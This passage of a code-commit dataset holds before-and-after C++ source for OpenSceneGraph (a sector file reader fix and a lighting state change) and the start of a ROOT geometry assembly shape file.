_occluderSet.erase(occludeeItr,_occluderSet.end());\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <osgSim\/Sector>\n\n#include <iostream>\n#include <string>\n\n#include <osgDB\/Registry>\n#include <osgDB\/Input>\n#include <osgDB\/Output>\n#include <osgDB\/ParameterOutput>\n\nbool AzimSector_readLocalData(osg::Object &obj, osgDB::Input &fr);\nbool AzimSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw);\n\nosgDB::RegisterDotOsgWrapperProxy AzimSector_Proxy\n(\n    new osgSim::AzimSector,\n    \"AzimSector\",\n    \"Object AzimSector\",\n    &AzimSector_readLocalData,\n    &AzimSector_writeLocalData,\n    osgDB::DotOsgWrapper::READ_AND_WRITE\n);\n\nbool AzimSector_readLocalData(osg::Object &obj, osgDB::Input &fr)\n{\n    bool iteratorAdvanced = false;\n    osgSim::AzimSector &sector = static_cast<osgSim::AzimSector &>(obj);\n\n    if (fr.matchSequence(\"azimuthRange %f %f %f\"))\n    {\n        float minAzimuth;\n        float maxAzimuth;\n        float fadeRange;\n        fr[1].getFloat(minAzimuth);\n        fr[2].getFloat(maxAzimuth);\n        fr[3].getFloat(fadeRange);\n        fr += 4;\n        sector.setAzimuthRange(minAzimuth, maxAzimuth, fadeRange);\n        iteratorAdvanced = true;\n    }\n    return iteratorAdvanced;\n}\n\nbool AzimSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw)\n{\n    float minAzimuth, maxAzimuth, fadeAngle;\n\n    const osgSim::AzimSector &sector = static_cast<const osgSim::AzimSector &>(obj);\n    sector.getAzimuthRange(minAzimuth, maxAzimuth, fadeAngle);\n    fw.indent()<<\"azimuthRange \"<<minAzimuth<< \" \"<<maxAzimuth<< \" \"<<fadeAngle<<std::endl;\n    return true;\n}\n\n\/******************************************************************\/\n\nbool ElevationSector_readLocalData(osg::Object &obj, osgDB::Input &fr);\nbool ElevationSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw);\n\nosgDB::RegisterDotOsgWrapperProxy ElevationSector_Proxy\n(\n    new osgSim::ElevationSector,\n    \"ElevationSector\",\n    \"Object ElevationSector\",\n    &ElevationSector_readLocalData,\n    &ElevationSector_writeLocalData,\n    osgDB::DotOsgWrapper::READ_AND_WRITE\n);\n\nbool ElevationSector_readLocalData(osg::Object &obj, osgDB::Input &fr)\n{\n    bool iteratorAdvanced = false;\n    osgSim::ElevationSector &sector = static_cast<osgSim::ElevationSector &>(obj);\n\n    if (fr.matchSequence(\"elevationRange %f %f %f\"))\n    {\n        float minElevation;\n        float maxElevation;\n        float fadeAngle;\n        \n        fr[1].getFloat(minElevation);\n        fr[2].getFloat(maxElevation);\n        fr[3].getFloat(fadeAngle);\n        fr += 4;\n        sector.setElevationRange(minElevation, maxElevation, fadeAngle);\n        iteratorAdvanced = true;\n    }\n    return iteratorAdvanced;\n}\n\nbool ElevationSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw)\n{\n\n    const osgSim::ElevationSector &sector = static_cast<const osgSim::ElevationSector &>(obj);\n\n    float minElevation = sector.getMinElevation();\n    float maxElevation = sector.getMaxElevation();\n    float fadeAngle = sector.getFadeAngle();\n    fw.indent()<<\"elevationRange \"<<minElevation<< \" \"<<maxElevation<< \" \"<<fadeAngle<<std::endl;\n\n    return true;\n}\n\n\/******************************************************************\/\n\nbool AzimElevationSector_readLocalData(osg::Object &obj, osgDB::Input &fr);\nbool AzimElevationSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw);\n\nosgDB::RegisterDotOsgWrapperProxy AzimElevationSector_Proxy\n(\n    new osgSim::AzimElevationSector,\n    \"AzimElevationSector\",\n    \"Object AzimElevationSector\",\n    &AzimElevationSector_readLocalData,\n    &AzimElevationSector_writeLocalData,\n    osgDB::DotOsgWrapper::READ_AND_WRITE\n);\n\nbool AzimElevationSector_readLocalData(osg::Object &obj, osgDB::Input &fr)\n{\n    bool iteratorAdvanced = false;\n    osgSim::AzimElevationSector &sector = static_cast<osgSim::AzimElevationSector &>(obj);\n\n    if (fr.matchSequence(\"azimuthRange %f %f %f\"))\n    {\n        float minAzimuth;\n        float maxAzimuth;\n        float fadeAngle;\n        fr[1].getFloat(minAzimuth);\n        fr[2].getFloat(maxAzimuth);\n        fr[3].getFloat(fadeAngle);\n        fr += 4;\n        sector.setAzimuthRange(minAzimuth, maxAzimuth, fadeAngle);\n        iteratorAdvanced = true;\n    }\n    if (fr.matchSequence(\"elevationRange %f %f %f\"))\n    {\n        float minElevation;\n        float maxElevation;\n        float fadeAngle;\n        \n        fr[1].getFloat(minElevation);\n        fr[2].getFloat(maxElevation);\n        fr[3].getFloat(fadeAngle);\n        fr += 4;\n        sector.setElevationRange(minElevation, maxElevation, fadeAngle);\n        iteratorAdvanced = true;\n    }\n    return iteratorAdvanced;\n}\n\nbool AzimElevationSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw)\n{\n\n    const osgSim::AzimElevationSector &sector = static_cast<const osgSim::AzimElevationSector &>(obj);\n\n    float minElevation = sector.getMinElevation();\n    float maxElevation = sector.getMaxElevation();\n    float fadeAngle = sector.getFadeAngle();\n    fw.indent()<<\"elevationRange \"<<minElevation<< \" \"<<maxElevation<< \" \"<<fadeAngle<<std::endl;\n\n    float minAzimuth, maxAzimuth;\n    sector.getAzimuthRange(minAzimuth, maxAzimuth, fadeAngle);\n    fw.indent()<<\"azimuthRange \"<<minAzimuth<< \" \"<<maxAzimuth<< \" \"<<fadeAngle<<std::endl;\n    return true;\n}\n\n\/******************************************************************\/\n\nbool ConeSector_readLocalData(osg::Object &obj, osgDB::Input &fr);\nbool ConeSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw);\n\nosgDB::RegisterDotOsgWrapperProxy ConeSector_Proxy\n(\n    new osgSim::ConeSector,\n    \"ConeSector\",\n    \"Object ConeSector\",\n    &ConeSector_readLocalData,\n    &ConeSector_writeLocalData,\n    osgDB::DotOsgWrapper::READ_AND_WRITE\n);\n\nbool ConeSector_readLocalData(osg::Object &obj, osgDB::Input &fr)\n{\n    bool iteratorAdvanced = false;\n    osgSim::ConeSector &sector = static_cast<osgSim::ConeSector &>(obj);\n\n    if (fr.matchSequence(\"axis %f %f %f\"))\n    {\n        float x, y, z;\n\n        fr[1].getFloat(x);\n        fr[2].getFloat(y);\n        fr[3].getFloat(z);\n        fr += 4;\n        sector.setAxis(osg::Vec3(x, y, z));\n        iteratorAdvanced = true;\n    }\n    if (fr.matchSequence(\"angle %f %f\"))\n    {\n        float angle;\n        float fadeangle;\n        fr[1].getFloat(angle);\n        fr[2].getFloat(fadeangle);\n        fr += 3;\n        sector.setAngle(angle, fadeangle);\n        iteratorAdvanced;\n    }\n    return iteratorAdvanced;\n}\n\nbool ConeSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw)\n{\n    const osgSim::ConeSector &sector = static_cast<const osgSim::ConeSector &>(obj);\n\n    const osg::Vec3& axis = sector.getAxis();\n    fw.indent()<<\"axis \"<<axis<<std::endl;\n\n    float angle = sector.getAngle();\n    float fadeangle = sector.getFadeAngle();\n    fw.indent()<<\"angle \"<<angle<<\" \"<<fadeangle<<std::endl;\n    return true;\n}\n\n<commit_msg>Fixed warning, which was actually a bug, sometimes you've just gotta love pedantic warnings.<commit_after>#include <osgSim\/Sector>\n\n#include <iostream>\n#include <string>\n\n#include <osgDB\/Registry>\n#include <osgDB\/Input>\n#include <osgDB\/Output>\n#include <osgDB\/ParameterOutput>\n\nbool AzimSector_readLocalData(osg::Object &obj, osgDB::Input &fr);\nbool AzimSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw);\n\nosgDB::RegisterDotOsgWrapperProxy AzimSector_Proxy\n(\n    new osgSim::AzimSector,\n    \"AzimSector\",\n    \"Object AzimSector\",\n    &AzimSector_readLocalData,\n    &AzimSector_writeLocalData,\n    osgDB::DotOsgWrapper::READ_AND_WRITE\n);\n\nbool AzimSector_readLocalData(osg::Object &obj, osgDB::Input &fr)\n{\n    bool iteratorAdvanced = false;\n    osgSim::AzimSector &sector = static_cast<osgSim::AzimSector &>(obj);\n\n    if (fr.matchSequence(\"azimuthRange %f %f %f\"))\n    {\n        float minAzimuth;\n        float maxAzimuth;\n        float fadeRange;\n        fr[1].getFloat(minAzimuth);\n        fr[2].getFloat(maxAzimuth);\n        fr[3].getFloat(fadeRange);\n        fr += 4;\n        sector.setAzimuthRange(minAzimuth, maxAzimuth, fadeRange);\n        iteratorAdvanced = true;\n    }\n    return iteratorAdvanced;\n}\n\nbool AzimSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw)\n{\n    float minAzimuth, maxAzimuth, fadeAngle;\n\n    const osgSim::AzimSector &sector = static_cast<const osgSim::AzimSector &>(obj);\n    sector.getAzimuthRange(minAzimuth, maxAzimuth, fadeAngle);\n    fw.indent()<<\"azimuthRange \"<<minAzimuth<< \" \"<<maxAzimuth<< \" \"<<fadeAngle<<std::endl;\n    return true;\n}\n\n\/******************************************************************\/\n\nbool ElevationSector_readLocalData(osg::Object &obj, osgDB::Input &fr);\nbool ElevationSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw);\n\nosgDB::RegisterDotOsgWrapperProxy ElevationSector_Proxy\n(\n    new osgSim::ElevationSector,\n    \"ElevationSector\",\n    \"Object ElevationSector\",\n    &ElevationSector_readLocalData,\n    &ElevationSector_writeLocalData,\n    osgDB::DotOsgWrapper::READ_AND_WRITE\n);\n\nbool ElevationSector_readLocalData(osg::Object &obj, osgDB::Input &fr)\n{\n    bool iteratorAdvanced = false;\n    osgSim::ElevationSector &sector = static_cast<osgSim::ElevationSector &>(obj);\n\n    if (fr.matchSequence(\"elevationRange %f %f %f\"))\n    {\n        float minElevation;\n        float maxElevation;\n        float fadeAngle;\n        \n        fr[1].getFloat(minElevation);\n        fr[2].getFloat(maxElevation);\n        fr[3].getFloat(fadeAngle);\n        fr += 4;\n        sector.setElevationRange(minElevation, maxElevation, fadeAngle);\n        iteratorAdvanced = true;\n    }\n    return iteratorAdvanced;\n}\n\nbool ElevationSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw)\n{\n\n    const osgSim::ElevationSector &sector = static_cast<const osgSim::ElevationSector &>(obj);\n\n    float minElevation = sector.getMinElevation();\n    float maxElevation = sector.getMaxElevation();\n    float fadeAngle = sector.getFadeAngle();\n    fw.indent()<<\"elevationRange \"<<minElevation<< \" \"<<maxElevation<< \" \"<<fadeAngle<<std::endl;\n\n    return true;\n}\n\n\/******************************************************************\/\n\nbool AzimElevationSector_readLocalData(osg::Object &obj, osgDB::Input &fr);\nbool AzimElevationSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw);\n\nosgDB::RegisterDotOsgWrapperProxy AzimElevationSector_Proxy\n(\n    new osgSim::AzimElevationSector,\n    \"AzimElevationSector\",\n    \"Object AzimElevationSector\",\n    &AzimElevationSector_readLocalData,\n    &AzimElevationSector_writeLocalData,\n    osgDB::DotOsgWrapper::READ_AND_WRITE\n);\n\nbool AzimElevationSector_readLocalData(osg::Object &obj, osgDB::Input &fr)\n{\n    bool iteratorAdvanced = false;\n    osgSim::AzimElevationSector &sector = static_cast<osgSim::AzimElevationSector &>(obj);\n\n    if (fr.matchSequence(\"azimuthRange %f %f %f\"))\n    {\n        float minAzimuth;\n        float maxAzimuth;\n        float fadeAngle;\n        fr[1].getFloat(minAzimuth);\n        fr[2].getFloat(maxAzimuth);\n        fr[3].getFloat(fadeAngle);\n        fr += 4;\n        sector.setAzimuthRange(minAzimuth, maxAzimuth, fadeAngle);\n        iteratorAdvanced = true;\n    }\n    if (fr.matchSequence(\"elevationRange %f %f %f\"))\n    {\n        float minElevation;\n        float maxElevation;\n        float fadeAngle;\n        \n        fr[1].getFloat(minElevation);\n        fr[2].getFloat(maxElevation);\n        fr[3].getFloat(fadeAngle);\n        fr += 4;\n        sector.setElevationRange(minElevation, maxElevation, fadeAngle);\n        iteratorAdvanced = true;\n    }\n    return iteratorAdvanced;\n}\n\nbool AzimElevationSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw)\n{\n\n    const osgSim::AzimElevationSector &sector = static_cast<const osgSim::AzimElevationSector &>(obj);\n\n    float minElevation = sector.getMinElevation();\n    float maxElevation = sector.getMaxElevation();\n    float fadeAngle = sector.getFadeAngle();\n    fw.indent()<<\"elevationRange \"<<minElevation<< \" \"<<maxElevation<< \" \"<<fadeAngle<<std::endl;\n\n    float minAzimuth, maxAzimuth;\n    sector.getAzimuthRange(minAzimuth, maxAzimuth, fadeAngle);\n    fw.indent()<<\"azimuthRange \"<<minAzimuth<< \" \"<<maxAzimuth<< \" \"<<fadeAngle<<std::endl;\n    return true;\n}\n\n\/******************************************************************\/\n\nbool ConeSector_readLocalData(osg::Object &obj, osgDB::Input &fr);\nbool ConeSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw);\n\nosgDB::RegisterDotOsgWrapperProxy ConeSector_Proxy\n(\n    new osgSim::ConeSector,\n    \"ConeSector\",\n    \"Object ConeSector\",\n    &ConeSector_readLocalData,\n    &ConeSector_writeLocalData,\n    osgDB::DotOsgWrapper::READ_AND_WRITE\n);\n\nbool ConeSector_readLocalData(osg::Object &obj, osgDB::Input &fr)\n{\n    bool iteratorAdvanced = false;\n    osgSim::ConeSector &sector = static_cast<osgSim::ConeSector &>(obj);\n\n    if (fr.matchSequence(\"axis %f %f %f\"))\n    {\n        float x, y, z;\n\n        fr[1].getFloat(x);\n        fr[2].getFloat(y);\n        fr[3].getFloat(z);\n        fr += 4;\n        sector.setAxis(osg::Vec3(x, y, z));\n        iteratorAdvanced = true;\n    }\n    if (fr.matchSequence(\"angle %f %f\"))\n    {\n        float angle;\n        float fadeangle;\n        fr[1].getFloat(angle);\n        fr[2].getFloat(fadeangle);\n        fr += 3;\n        sector.setAngle(angle, fadeangle);\n        iteratorAdvanced = true;\n    }\n    return iteratorAdvanced;\n}\n\nbool ConeSector_writeLocalData(const osg::Object &obj, osgDB::Output &fw)\n{\n    const osgSim::ConeSector &sector = static_cast<const osgSim::ConeSector &>(obj);\n\n    const osg::Vec3& axis = sector.getAxis();\n    fw.indent()<<\"axis \"<<axis<<std::endl;\n\n    float angle = sector.getAngle();\n    float fadeangle = sector.getFadeAngle();\n    fw.indent()<<\"angle \"<<angle<<\" \"<<fadeangle<<std::endl;\n    return true;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2003 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under  \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \n * OpenSceneGraph Public License for more details.\n*\/\n#include <osgUtil\/RenderStageLighting>\n\nusing namespace osg;\nusing namespace osgUtil;\n\n\/\/ register a RenderStageLighting prototype with the RenderBin prototype list.\n\/\/RegisterRenderBinProxy<RenderStageLighting> s_registerRenderStageLightingProxy;\n\nRenderStageLighting::RenderStageLighting()\n{\n}\n\nRenderStageLighting::~RenderStageLighting()\n{\n}\n\nvoid RenderStageLighting::reset()\n{\n    _attrList.clear();\n}\n\nvoid RenderStageLighting::draw(osg::State& state,RenderLeaf*& previous)\n{\n\n    if (previous)\n    {\n        RenderGraph::moveToRootRenderGraph(state,previous->_parent);\n        state.apply();\n        previous = NULL;\n    }\n\n    \/\/ apply the light list.\n    for(AttrMatrixList::iterator litr=_attrList.begin();\n        litr!=_attrList.end();\n        ++litr)\n    {\n        state.applyModelViewMatrix((*litr).second.get());\n\n        \/\/ apply the light source.\n        litr->first->apply(state);\n            \n    }\n\n}\n<commit_msg>Added haveAppliedAttribute to allow draw callbacks to get access to the current active lights.<commit_after>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2003 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under  \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \n * OpenSceneGraph Public License for more details.\n*\/\n#include <osgUtil\/RenderStageLighting>\n\nusing namespace osg;\nusing namespace osgUtil;\n\n\/\/ register a RenderStageLighting prototype with the RenderBin prototype list.\n\/\/RegisterRenderBinProxy<RenderStageLighting> s_registerRenderStageLightingProxy;\n\nRenderStageLighting::RenderStageLighting()\n{\n}\n\nRenderStageLighting::~RenderStageLighting()\n{\n}\n\nvoid RenderStageLighting::reset()\n{\n    _attrList.clear();\n}\n\nvoid RenderStageLighting::draw(osg::State& state,RenderLeaf*& previous)\n{\n\n    if (previous)\n    {\n        RenderGraph::moveToRootRenderGraph(state,previous->_parent);\n        state.apply();\n        previous = NULL;\n    }\n\n    \/\/ apply the light list.\n    for(AttrMatrixList::iterator litr=_attrList.begin();\n        litr!=_attrList.end();\n        ++litr)\n    {\n        state.applyModelViewMatrix((*litr).second.get());\n\n        \/\/ apply the light source.\n        litr->first->apply(state);\n        \n        \/\/ tell state about.\n        state.haveAppliedAttribute(litr->first);\n            \n    }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ @(#)root\/geom:$Id$\n\/\/ Author: Andrei Gheata   02\/06\/05\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n\n#include \"Riostream.h\"\n\n#include \"TGeoManager.h\"\n#include \"TGeoVoxelFinder.h\"\n#include \"TGeoMatrix.h\"\n#include \"TGeoVolume.h\"\n#include \"TGeoNode.h\"\n#include \"TGeoShapeAssembly.h\"\n#include \"TBuffer3D.h\"\n#include \"TBuffer3DTypes.h\"\n#include \"TMath.h\"\n\n\/\/_____________________________________________________________________________\n\/\/ TGeoShapeAssembly - The shape encapsulating an assembly (union) of volumes.\n\/\/    \n\/\/_____________________________________________________________________________\n\n\nClassImp(TGeoShapeAssembly)\n   \n\/\/_____________________________________________________________________________\nTGeoShapeAssembly::TGeoShapeAssembly()\n{\n\/\/ Default constructor\n   fVolume  = 0;\n}   \n\n\n\/\/_____________________________________________________________________________\nTGeoShapeAssembly::TGeoShapeAssembly(TGeoVolumeAssembly *vol)\n{\n\/\/ Constructor specifying hyperboloid parameters.\n   fVolume  = vol;\n}\n\n\n\/\/_____________________________________________________________________________\nTGeoShapeAssembly::~TGeoShapeAssembly()\n{\n\/\/ destructor\n}\n\n\/\/_____________________________________________________________________________   \nvoid TGeoShapeAssembly::ComputeBBox()\n{\n\/\/ Compute bounding box of the assembly\n   if (!fVolume) {\n      Error(\"ComputeBBox\", \"Assebmly shape %s without volume\", GetName());\n      return;\n   } \n   Int_t nd = fVolume->GetNdaughters();\n   if (!nd) return;\n   TGeoNode *node;\n   TGeoBBox *box;\n   Double_t xmin, xmax, ymin, ymax, zmin, zmax;\n   xmin = ymin = zmin = TGeoShape::Big();\n   xmax = ymax = zmax = -TGeoShape::Big();\n   Double_t vert[24];\n   Double_t pt[3];\n   for (Int_t i=0; i<nd; i++) {\n      node = fVolume->GetNode(i);\n      if (node->GetVolume()->IsAssembly()) node->GetVolume()->GetShape()->ComputeBBox();\n      box = (TGeoBBox*)node->GetVolume()->GetShape();\n      box->SetBoxPoints(vert);\n      for (Int_t ipt=0; ipt<8; ipt++) {\n         node->LocalToMaster(&vert[3*ipt], pt);\n         if (pt[0]<xmin) xmin=pt[0];\n         if (pt[0]>xmax) xmax=pt[0];\n         if (pt[1]<ymin) ymin=pt[1];\n         if (pt[1]>ymax) ymax=pt[1];\n         if (pt[2]<zmin) zmin=pt[2];\n         if (pt[2]>zmax) zmax=pt[2];\n      }\n   }\n   fDX = 0.5*(xmax-xmin);\n   fOrigin[0] = 0.5*(xmin+xmax);\n   fDY = 0.5*(ymax-ymin);\n   fOrigin[1] = 0.5*(ymin+ymax);\n   fDZ = 0.5*(zmax-zmin);\n   fOrigin[2] = 0.5*(zmin+zmax);         \n}   \n\n\/\/_____________________________________________________________________________   \nvoid TGeoShapeAssembly::ComputeNormal(Double_t *point, Double_t *dir, Double_t *norm)\n{\n\/\/ Compute normal to closest surface from POINT. Should not be called.\n   Int_t inext = fVolume->GetNextNodeIndex();\n   if (inext<0) {\n      DistFromOutside(point,dir,3);\n      inext = fVolume->GetNextNodeIndex();\n      if (inext<0) {\n         Error(\"ComputeNormal\",\"Invalid inext=%i (Ncomponents=%i)\",inext,fVolume->GetNdaughters());\n         return;\n      }   \n   }   \n   TGeoNode *node = fVolume->GetNode(inext);\n   Double_t local[3],ldir[3],lnorm[3];\n   node->MasterToLocal(point,local);\n   node->MasterToLocalVect(dir,ldir);\n   node->GetVolume()->GetShape()->ComputeNormal(local,ldir,lnorm);\n   node->LocalToMasterVect(lnorm,norm);\n}\n\n\/\/_____________________________________________________________________________\nBool_t TGeoShapeAssembly::Contains(Double_t *point) const\n{\n\/\/ Test if point is inside the assembly\n   if (!TGeoBBox::Contains(point)) return kFALSE;\n   TGeoVoxelFinder *voxels = fVolume->GetVoxels();\n   TGeoNode *node;\n   TGeoShape *shape;\n   Int_t *check_list = 0;\n   Int_t ncheck, id;\n   Double_t local[3];\n   if (voxels) {\n      \/\/ get the list of nodes passing thorough the current voxel\n      check_list = voxels->GetCheckList(&point[0], ncheck);\n      if (!check_list) return kFALSE;\n      for (id=0; id<ncheck; id++) {\n         node = fVolume->GetNode(check_list[id]);\n         shape = node->GetVolume()->GetShape();\n         node->MasterToLocal(point,local);\n         if (shape->Contains(local)) {\n            fVolume->SetCurrentNodeIndex(check_list[id]);\n            fVolume->SetNextNodeIndex(check_list[id]);\n            return kTRUE;\n         }   \n      }\n      return kFALSE;\n   }      \n   Int_t nd = fVolume->GetNdaughters();\n   for (id=0; id<nd; id++) {\n      node = fVolume->GetNode(id);\n      shape = node->GetVolume()->GetShape();\n      node->MasterToLocal(point,local);\n      if (shape->Contains(local)) {\n         fVolume->SetCurrentNodeIndex(id);\n         fVolume->SetNextNodeIndex(id);      \n         return kTRUE;\n      }   \n   }\n   return kFALSE;   \n}\n\n\/\/_____________________________________________________________________________\nInt_t TGeoShapeAssembly::DistancetoPrimitive(Int_t \/*px*\/, Int_t \/*py*\/)\n{\n\/\/ compute closest distance from point px,py to each vertex. Should not be called.\n   return 9999;\n}\n\n\/\/_____________________________________________________________________________\nDouble_t TGeoShapeAssembly::DistFromInside(Double_t * \/*point*\/, Double_t * \/*dir*\/, Int_t \/*iact*\/, Double_t \/*step*\/, Double_t * \/*safe*\/) const\n{\n\/\/ Compute distance from inside point to surface of the hyperboloid.\n   Info(\"DistFromInside\", \"Cannot compute distance from inside the assembly (but from a component)\"); \n   return TGeoShape::Big();\n}\n\n\n\/\/_____________________________________________________________________________\nDouble_t TGeoShapeAssembly::DistFromOutside(Double_t *point, Double_t *dir, Int_t iact, Double_t step, Double_t *safe) const\n{\n\/\/ compute distance from outside point to surface of the hyperboloid.\n\/\/   fVolume->SetNextNodeIndex(-1);\n   if (iact<3 && safe) {\n      *safe = Safety(point, kFALSE);\n      if (iact==0) return TGeoShape::Big();\n      if ((iact==1) && (step<=*safe)) return TGeoShape::Big();\n   }\n   \/\/ find distance to assembly\n   Double_t snext = 0.0;\n   Double_t dist;\n   Double_t stepmax = step;\n   Double_t pt[3];\n   Int_t i;\n   Bool_t found = kFALSE;\n   memcpy(pt,point,3*sizeof(Double_t));\n   if (!TGeoBBox::Contains(point)) {\n      snext = TGeoBBox::DistFromOutside(point, dir, 3, stepmax);\n      if (snext > stepmax) return TGeoShape::Big();\n      for (i=0; i<3; i++) pt[i] += (snext+TGeoShape::Tolerance())*dir[i];\n      if (Contains(pt)) {\n         fVolume->SetNextNodeIndex(fVolume->GetCurrentNodeIndex());\n         return snext;\n      }   \n      snext += TGeoShape::Tolerance();\n      stepmax -= snext;\n   }\n   \/\/ Point represented by pt is now inside the bounding box - find distance to components   \n   Int_t nd = fVolume->GetNdaughters();\n   TGeoNode *node;\n   Double_t lpoint[3],ldir[3];\n   TGeoVoxelFinder *voxels = fVolume->GetVoxels();\n   if (nd<5 || !voxels) {\n      for (i=0; i<nd; i++) {\n         node = fVolume->GetNode(i);\n         if (voxels && voxels->IsSafeVoxel(pt, i, stepmax)) continue;\n         node->MasterToLocal(pt, lpoint);\n         node->MasterToLocalVect(dir, ldir);\n         dist = node->GetVolume()->GetShape()->DistFromOutside(lpoint, ldir, 3, stepmax);\n         if (dist<stepmax) {\n            stepmax = dist;\n            fVolume->SetNextNodeIndex(i);\n            found = kTRUE;\n         }\n      }\n      if (found) {\n         snext += stepmax;\n         return snext;\n      }\n      return TGeoShape::Big();   \n   }\n   \/\/ current volume is voxelized, first get current voxel\n   Int_t ncheck = 0;\n   Int_t *vlist = 0;\n   voxels->SortCrossedVoxels(pt, dir);\n   while ((vlist=voxels->GetNextVoxel(pt, dir, ncheck))) {\n      for (i=0; i<ncheck; i++) {\n         node = fVolume->GetNode(vlist[i]);\n         node->MasterToLocal(pt, lpoint);\n         node->MasterToLocalVect(dir, ldir);\n         dist = node->GetVolume()->GetShape()->DistFromOutside(lpoint, ldir, 3, stepmax);\n         if (dist<stepmax) {\n            stepmax = dist;\n            fVolume->SetNextNodeIndex(vlist[i]);\n            found = kTRUE;\n         }\n      }\n   }\n   if (found) {\n      snext += stepmax;\n      return snext;\n   }\n   return TGeoShape::Big();      \n}\n   \n\/\/_____________________________________________________________________________\nTGeoVolume *TGeoShapeAssembly::Divide(TGeoVolume * \/*voldiv*\/, const char *divname, Int_t \/*iaxis*\/, Int_t \/*ndiv*\/, \n                             Double_t \/*start*\/, Double_t \/*step*\/) \n{\n\/\/ Cannot divide assemblies.\n   Error(\"Divide\", \"Assemblies cannot be divided. Division volume %s not created\", divname);\n   return 0;\n}   \n\n\/\/_____________________________________________________________________________\nTGeoShape *TGeoShapeAssembly::GetMakeRuntimeShape(TGeoShape * \/*mother*\/, TGeoMatrix * \/*mat*\/) const\n{\n\/\/ in case shape has some negative parameters, these has to be computed\n\/\/ in order to fit the mother\n   Error(\"GetMakeRuntimeShape\", \"Assemblies cannot be parametrized.\");\n   return NULL;\n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::InspectShape() const\n{\n\/\/ print shape parameters\n   printf(\"*** Shape %s: TGeoShapeAssembly ***\\n\", GetName());\n   printf(\"    Volume assembly %s with %i nodes\\n\", fVolume->GetName(), fVolume->GetNdaughters());   \n   printf(\" Bounding box:\\n\");\n   TGeoBBox::InspectShape();\n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::SetSegsAndPols(TBuffer3D & \/*buff*\/) const\n{\n\/\/ Fill TBuffer3D structure for segments and polygons.\n   Error(\"SetSegsAndPols\", \"Drawing functions should not be called for assemblies, but rather for their content\");   \n}\n\n\/\/_____________________________________________________________________________\nDouble_t TGeoShapeAssembly::Safety(Double_t *point, Bool_t in) const\n{\n\/\/ computes the closest distance from given point to this shape, according\n\/\/ to option. The matching point on the shape is stored in spoint.\n   Double_t safety = TGeoShape::Big();\n   Double_t pt[3], loc[3];\n   if (in) {\n      Int_t index = fVolume->GetCurrentNodeIndex();\n      TGeoVolume *vol = fVolume;\n      TGeoNode *node;\n      memcpy(loc, point, 3*sizeof(Double_t));\n      while (index>=0) {\n         memcpy(pt, loc, 3*sizeof(Double_t));\n         node = vol->GetNode(index);\n         node->GetMatrix()->MasterToLocal(pt,loc);\n         vol = node->GetVolume();\n         index = vol->GetCurrentNodeIndex();\n         if (index<0) {\n            safety = vol->GetShape()->Safety(loc, in);\n            return safety;\n         }\n      }\n      return TGeoShape::Big();\n   }         \n   Double_t safe;\n   TGeoVoxelFinder *voxels = fVolume->GetVoxels();\n   Int_t nd = fVolume->GetNdaughters();\n   Double_t *boxes = 0;\n   if (voxels) boxes = voxels->GetBoxes();   \n   TGeoNode *node;\n   for (Int_t id=0; id<nd; id++) {\n      if (boxes && id>0) {\n         Int_t ist = 6*id;\n         Double_t dxyz = 0.;\n         Double_t dxyz0 = TMath::Abs(point[0]-boxes[ist+3])-boxes[ist];\n         if (dxyz0 > safety) continue;\n         Double_t dxyz1 = TMath::Abs(point[1]-boxes[ist+4])-boxes[ist+1];\n         if (dxyz1 > safety) continue;\n         Double_t dxyz2 = TMath::Abs(point[2]-boxes[ist+5])-boxes[ist+2];\n         if (dxyz2 > safety) continue;\n         if (dxyz0>0) dxyz+=dxyz0*dxyz0;\n         if (dxyz1>0) dxyz+=dxyz1*dxyz1;\n         if (dxyz2>0) dxyz+=dxyz2*dxyz2;\n         if (dxyz >= safety*safety) continue;\n      }\n      node = fVolume->GetNode(id);\n      safe = node->Safety(point, kFALSE);\n      if (safe<=0.0) return 0.0;\n      if (safe<safety) safety = safe;\n   }   \n   return safety;        \n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::SavePrimitive(ostream & \/*out*\/, Option_t * \/*option*\/ \/*= \"\"*\/)\n{\n\/\/ Save a primitive as a C++ statement(s) on output stream \"out\".\n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::SetPoints(Double_t * \/*points*\/) const\n{\n\/\/ No mesh for assemblies.\n   Error(\"SetPoints\", \"Drawing functions should not be called for assemblies, but rather for their content\");\n}\n\n\/\/_____________________________________________________________________________\nvoid 